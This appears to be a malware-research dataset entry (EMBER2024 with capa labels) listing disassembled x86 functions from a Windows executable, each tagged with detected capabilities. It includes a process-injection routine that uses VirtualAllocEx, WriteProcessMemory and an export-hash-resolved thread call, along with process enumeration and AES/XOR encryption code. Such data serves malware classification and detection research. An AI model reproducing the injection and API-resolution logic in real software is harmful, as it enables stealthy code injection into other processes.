joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x5c604c], 1
mov dword [0x5c6050], 1
mov dword [0x5c6054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x4016d3
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov eax, 0x114c
mov ebp, esp
push edi
push esi
push ebx
call fcn.0040f108
sub esp, eax
lea eax, [ebp - 0x1138]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1018]
mov dword [esp + 4], 0x1000
mov dword [esp], eax
call sub.PSAPI.DLL_EnumProcesses
sub esp, 0xc
test eax, eax
jne 0x401713
xor eax, eax
jmp 0x401816
mov eax, dword [ebp - 0x1138]
xor esi, esi
shr eax, 2
mov dword [ebp - 0x1140], eax
mov eax, dword [ebp - 0x1140]
cmp esi, eax
je 0x40170c
mov eax, dword [ebp + esi*4 - 0x1018]
test eax, eax
je 0x401810
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x401810
xor ecx, ecx
lea edi, [ebp - 0x111c]
mov dword [esp + 0xc], 0x104
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], eax
call sub.PSAPI.DLL_GetModuleBaseNameA
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1134]
sub esp, 0x10
mov dword [esp], eax
call fcn.004015b2
push eax
mov ecx, dword [ebp - 0x1130]
mov dword [ebp - 0x1144], ecx
mov dword [esp], edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov ecx, dword [ebp - 0x1144]
mov byte [ebp - 0x1139], 0
cmp ecx, eax
jne 0x4017e5
mov byte [ebp - 0x1139], 1
test ecx, ecx
je 0x4017e5
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
mov eax, dword [ebp - 0x1134]
mov dword [esp], eax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
sete byte [ebp - 0x1139]
lea ecx, [ebp - 0x1134]
call fcn.0049d310
cmp byte [ebp - 0x1139], 0
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x40180d
call eax
push edx
mov eax, dword [ebp + esi*4 - 0x1018]
jmp 0x401816
call eax
push eax
inc esi
jmp 0x401724
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40181e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
mov esi, dword [edi + eax + 0x78]
add esi, edi
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x20]
add eax, edi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], ebx
je 0x401876
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + ebx*4]
add eax, edi
mov dword [esp], eax
call fcn.004016ba
cmp eax, dword [ebp + 0xc]
jne 0x401873
add ebx, ebx
add ebx, edi
add ebx, dword [esi + 0x24]
movzx eax, word [ebx]
lea eax, [edi + eax*4]
add eax, dword [esi + 0x1c]
add edi, dword [eax]
mov eax, edi
jmp 0x401878
inc ebx
jmp 0x401843
xor eax, eax
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40190a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x48]
push ebx
sub esp, 0x7c
mov esi, dword [ebp + 8]
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0x4c90e3
mov dword [esp], edi
call fcn.0040168c
lea eax, [ebp - 0x30]
mov dword [esp + 8], 0x12
mov dword [esp + 4], 0x4c90f0
mov dword [esp], eax
call fcn.0040168c
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edx
mov ebx, eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call fcn.004016ba
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0040181e
mov dword [esp + 0x10], 0x40
xor ecx, ecx
mov dword [esp + 0xc], 0x1000
mov ebx, eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov edx, eax
test eax, eax
jne 0x4019ab
or ebx, 0xffffffff
jmp 0x401a42
lea eax, [ebp - 0x4c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp + 8], eax
mov dword [ebp - 0x5c], edx
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
test eax, eax
je 0x4019a3
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov edx, dword [ebp - 0x5c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], esi
call ebx
sub esp, 0x1c
mov ebx, eax
test eax, eax
je 0x4019a3
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edx
push edx
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
push eax
jmp 0x401a42
lea ecx, [ebp - 0x30]
call fcn.0049d310
lea ecx, [ebp - 0x48]
call fcn.0049d310
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401da7
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov eax, 0x13bc
mov ebp, esp
push edi
push esi
push ebx
call fcn.0040f108
sub esp, eax
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
test esi, esi
jns 0x401dcf
mov dword [esp], 0x4c9122
call fcn.004bf6f0
xor ecx, ecx
mov eax, esi
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
call fcn.00401592
mov dword [ebx], eax
mov edx, eax
lea eax, [eax + esi]
mov dword [ebp - 0x13ac], eax
mov dword [ebx + 8], eax
test esi, esi
je 0x401e09
mov ecx, esi
mov byte [edx], 0
inc edx
dec ecx
je 0x401e09
mov edi, edx
xor eax, eax
mov edx, dword [ebp - 0x13ac]
rep stosb byte es:[edi], al
mov dword [ebx + 4], edx
lea edi, [ebp - 0x9dc]
mov dword [esp], 0x4c9153
mov ecx, edi
call fcn.004015b2
push edx
lea ecx, [ebp - 0x13a0]
mov dword [esp], edi
call fcn.00490c10
push eax
mov ecx, edi
call fcn.0049d310
lea ecx, [ebp - 0x13a0]
call fcn.00490ec0
mov dword [ebp - 0x9dc], eax
mov edx, 1
jmp 0x401e5a
mov eax, dword [ebp + edx*4 - 0x9e0]
mov ecx, eax
shr ecx, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, edx
mov dword [ebp + edx*4 - 0x9dc], eax
inc edx
cmp edx, 0x270
jne 0x401e5a
mov dword [ebp - 0x1c], 0x270
xor edi, edi
cmp edi, esi
je 0x401ec7
lea ecx, [ebp - 0x9dc]
call fcn.004990d8
mov edx, 0x100
mov ecx, dword [ebx]
mul edx
mov byte [ecx + edi], dl
inc edi
jmp 0x401e89
lea ecx, [ebp - 0x13a0]
call fcn.00490b90
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40208a
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov eax, ecx
mov ebp, esp
push esi
push ebx
mov ecx, dword [ecx + 0x18]
mov ebx, dword [ebp + 8]
movzx esi, byte [ecx + 0x1d]
mov dl, byte [ecx]
xor dl, byte [ebx]
xor dl, byte [esi + 0x57d860]
mov byte [ecx], dl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0x1e]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 1], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0x1f]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 2], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0x1c]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 3], cl
mov cl, byte [ebx]
mov edx, ecx
add ecx, ecx
sar dl, 7
and edx, 0x1b
xor edx, ecx
mov byte [ebx], dl
mov edx, 4
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 4]
xor byte [ecx + edx], bl
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 3]
xor byte [ecx + edx + 1], bl
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 2]
xor byte [ecx + edx + 2], bl
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 1]
xor byte [ecx + edx + 3], bl
add edx, 4
cmp edx, 0x10
jne 0x4020ec
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0xc]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x10], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0xd]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x11], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0xe]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x12], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0xf]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x13], cl
mov edx, 0x14
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 4]
xor byte [ecx + edx], bl
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 3]
xor byte [ecx + edx + 1], bl
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 2]
xor byte [ecx + edx + 2], bl
mov ecx, dword [eax + 0x18]
mov bl, byte [ecx + edx - 1]
xor byte [ecx + edx + 3], bl
add edx, 4
cmp edx, 0x20
jne 0x402164
pop ebx
pop esi
pop ebp
ret 4
Function at 0x40219e
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov eax, ecx
mov ecx, 0x1c
mov ebp, esp
push edi
push esi
push ebx
mov edi, dword [eax + 0x18]
mov edx, ecx
lea esi, [edi + ecx]
sub ecx, 4
mov bl, byte [edi + ecx]
xor byte [esi], bl
mov esi, dword [eax + 0x18]
mov bl, byte [esi + edx - 3]
xor byte [esi + edx + 1], bl
mov esi, dword [eax + 0x18]
mov bl, byte [esi + edx - 2]
xor byte [esi + edx + 2], bl
mov esi, dword [eax + 0x18]
mov bl, byte [esi + edx - 1]
xor byte [esi + edx + 3], bl
cmp ecx, 0x10
jne 0x4021ab
mov edx, dword [eax + 0x18]
mov esi, 0xc
movzx ecx, byte [edx + 0xc]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x10], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0xd]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x11], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0xe]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x12], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0xf]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 0x13], cl
mov edi, dword [eax + 0x18]
mov edx, esi
lea ecx, [edi + esi]
sub esi, 4
mov bl, byte [edi + esi]
xor byte [ecx], bl
mov edi, dword [eax + 0x18]
mov cl, byte [edi + edx - 3]
xor byte [edi + edx + 1], cl
mov edi, dword [eax + 0x18]
mov cl, byte [edi + edx - 2]
xor byte [edi + edx + 2], cl
mov edi, dword [eax + 0x18]
mov cl, byte [edi + edx - 1]
xor byte [edi + edx + 3], cl
test esi, esi
jne 0x402226
mov ebx, dword [ebp + 8]
mov dl, byte [ebx]
mov ecx, edx
and edx, 1
neg edx
shr cl, 1
and edx, 0xffffff8d
xor edx, ecx
mov byte [ebx], dl
mov ebx, dword [eax + 0x18]
movzx ecx, byte [ebx + 0x1d]
mov cl, byte [ecx + 0x57d860]
xor cl, byte [ebx]
xor edx, ecx
mov byte [ebx], dl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0x1e]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 1], cl
mov edx, dword [eax + 0x18]
movzx ecx, byte [edx + 0x1f]
mov cl, byte [ecx + 0x57d860]
xor byte [edx + 2], cl
mov eax, dword [eax + 0x18]
movzx edx, byte [eax + 0x1c]
mov dl, byte [edx + 0x57d860]
xor byte [eax + 3], dl
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x402344
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push esi
push ebx
and edx, 1
shl edx, 4
mov esi, dword [ecx + 0x18]
add esi, edx
mov bl, byte [eax + esi + 0xf]
xor byte [edi + eax + 0xf], bl
dec eax
cmp eax, 0xfffffff0
jne 0x402358
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x402416
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
lea eax, [edi + 0x10]
mov dword [ebp - 0x20], eax
mov al, byte [edi + 1]
mov bl, byte [edi]
add edi, 4
mov byte [ebp - 0x19], al
mov al, byte [edi - 2]
mov byte [ebp - 0x1a], al
mov al, byte [edi - 1]
mov dl, byte [ebp - 0x1a]
mov byte [ebp - 0x1b], al
mov al, byte [ebp - 0x19]
xor dl, byte [ebp - 0x1b]
mov esi, edx
xor eax, ebx
mov byte [ebp - 0x1c], dl
xor esi, eax
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
xor eax, ebx
xor eax, esi
mov byte [edi - 4], al
mov al, byte [ebp - 0x19]
xor al, byte [ebp - 0x1a]
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
xor al, byte [ebp - 0x19]
xor eax, esi
mov byte [edi - 3], al
movzx eax, byte [ebp - 0x1c]
mov dword [esp], eax
call fcn.004282a0
xor bl, byte [ebp - 0x1b]
xor al, byte [ebp - 0x1a]
xor eax, esi
movzx ebx, bl
mov byte [edi - 2], al
mov dword [esp], ebx
call fcn.004282a0
xor al, byte [ebp - 0x1b]
xor eax, esi
mov byte [edi - 1], al
cmp dword [ebp - 0x20], edi
jne 0x402428
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x402576
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
lea eax, [edi + 0x10]
mov dword [ebp - 0x24], eax
mov al, byte [edi]
mov bl, byte [edi + 3]
add edi, 4
mov byte [ebp - 0x19], al
mov al, byte [edi - 3]
mov byte [ebp - 0x1a], al
mov al, byte [edi - 2]
mov byte [ebp - 0x1b], al
mov al, byte [ebp - 0x19]
xor al, byte [ebp - 0x1a]
mov byte [ebp - 0x1d], al
mov al, byte [ebp - 0x1b]
xor eax, ebx
mov byte [ebp - 0x1f], al
mov al, byte [ebp - 0x1d]
xor al, byte [ebp - 0x1f]
mov byte [ebp - 0x1c], al
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
mov esi, eax
mov al, byte [ebp - 0x19]
xor al, byte [ebp - 0x1b]
xor eax, esi
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
xor eax, dword [ebp - 0x1c]
mov byte [ebp - 0x1e], al
mov al, byte [ebp - 0x1a]
xor eax, ebx
xor eax, esi
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
mov esi, dword [ebp - 0x1c]
xor esi, eax
movzx eax, byte [ebp - 0x1d]
mov dword [esp], eax
call fcn.004282a0
xor al, byte [ebp - 0x19]
xor al, byte [ebp - 0x1e]
mov byte [edi - 4], al
mov al, byte [ebp - 0x1a]
xor al, byte [ebp - 0x1b]
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
xor al, byte [ebp - 0x1a]
xor eax, esi
mov byte [edi - 3], al
movzx eax, byte [ebp - 0x1f]
mov dword [esp], eax
call fcn.004282a0
xor al, byte [ebp - 0x1b]
xor al, byte [ebp - 0x1e]
mov byte [edi - 2], al
mov al, byte [ebp - 0x19]
xor eax, ebx
movzx eax, al
mov dword [esp], eax
call fcn.004282a0
xor eax, ebx
xor eax, esi
mov byte [edi - 1], al
cmp dword [ebp - 0x24], edi
jne 0x402588
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x40e158
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041d864
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort

Function at 0x40ed2c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40ed4b
mov eax, 0
jmp 0x40ed8f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40ed6e
mov eax, 0
jmp 0x40ed8f
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40ed8a
mov eax, 0
jmp 0x40ed8f
mov eax, 1
leave
ret

Function at 0x40ed91
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40edf0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40ede8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40ede8
mov eax, dword [ebp - 4]
jmp 0x40ee04
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40edc5
mov eax, 0
leave
ret
Function at 0x4207f4
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 0
je 0x4208bc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0041ff98
cmp eax, 1
jne 0x4208b2
mov dword [ebp - 0x3d], 0
mov dword [ebp - 0x39], 0
mov dword [ebp - 0x35], 0
mov dword [ebp - 0x31], 0
mov dword [ebp - 0x2d], 0
mov dword [ebp - 0x29], 0
mov dword [ebp - 0x25], 0
mov dword [ebp - 0x21], 0
mov dword [ebp - 0x1d], 0
mov dword [ebp - 0x19], 0
mov dword [ebp - 0x15], 0
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
mov byte [ebp - 9], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Error_cleaning_up_spin_keys_for_thread__lu._n
mov dword [esp + 4], 0x35
lea eax, [ebp - 0x3d]
mov dword [esp], eax
call fcn.004280b0
lea eax, [ebp - 0x3d]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call eax
sub esp, 4
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [eax], edx
jmp 0x4208bd
nop
leave
ret
Function at 0x421842
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [esp + 4], 0x4216b1
mov dword [esp], 0x5c6aa4
call fcn.00420e21
mov eax, dword [0x4c7320]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x421889
mov eax, dword [ebp - 0x20]
jmp 0x4219d4
call fcn.004206fd
mov dword [ebp - 0x20], eax
mov eax, entry3
test eax, eax
je 0x4218a0
cmp dword [ebp - 0x20], 0
jne 0x4218aa
mov eax, 0
jmp 0x4219d4
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x24], 1
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x1c], 0xffffffff
mov eax, dword [ebp - 0x20]
lea edx, [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004207f4
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x64], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x20]
lea edi, [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
jne 0x42197c
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
call eax
sub esp, 4
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x6c], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x68], 0
mov eax, dword [ebp - 0x20]
movzx edx, byte [eax + 0x20]
and edx, 0xffffffcf
or edx, 0x10
mov byte [eax + 0x20], dl
mov eax, dword [0x4c7320]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
test eax, eax
jne 0x4219d1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x421a98
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
call fcn.00421842
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb4]
mov dword [esp], eax
call fcn.004216d5
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax + 0x20]
and eax, 0x30
test al, al
jne 0x421af3
mov eax, dword [ebp - 0x14]
add eax, 0x70
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_longjmp]
call eax
mov eax, dword [0x4c7320]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x421c1d
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x421b85
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x421b42
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0042060b
mov dword [ebp - 0x10], 0
mov eax, dword [0x4c7320]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
jmp 0x421c1d
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x68], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x421bb5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x24]
and eax, 4
test eax, eax
je 0x421c1d
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0042060b
mov dword [ebp - 0x10], 0
mov eax, dword [0x4c7320]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__endthreadex]
call eax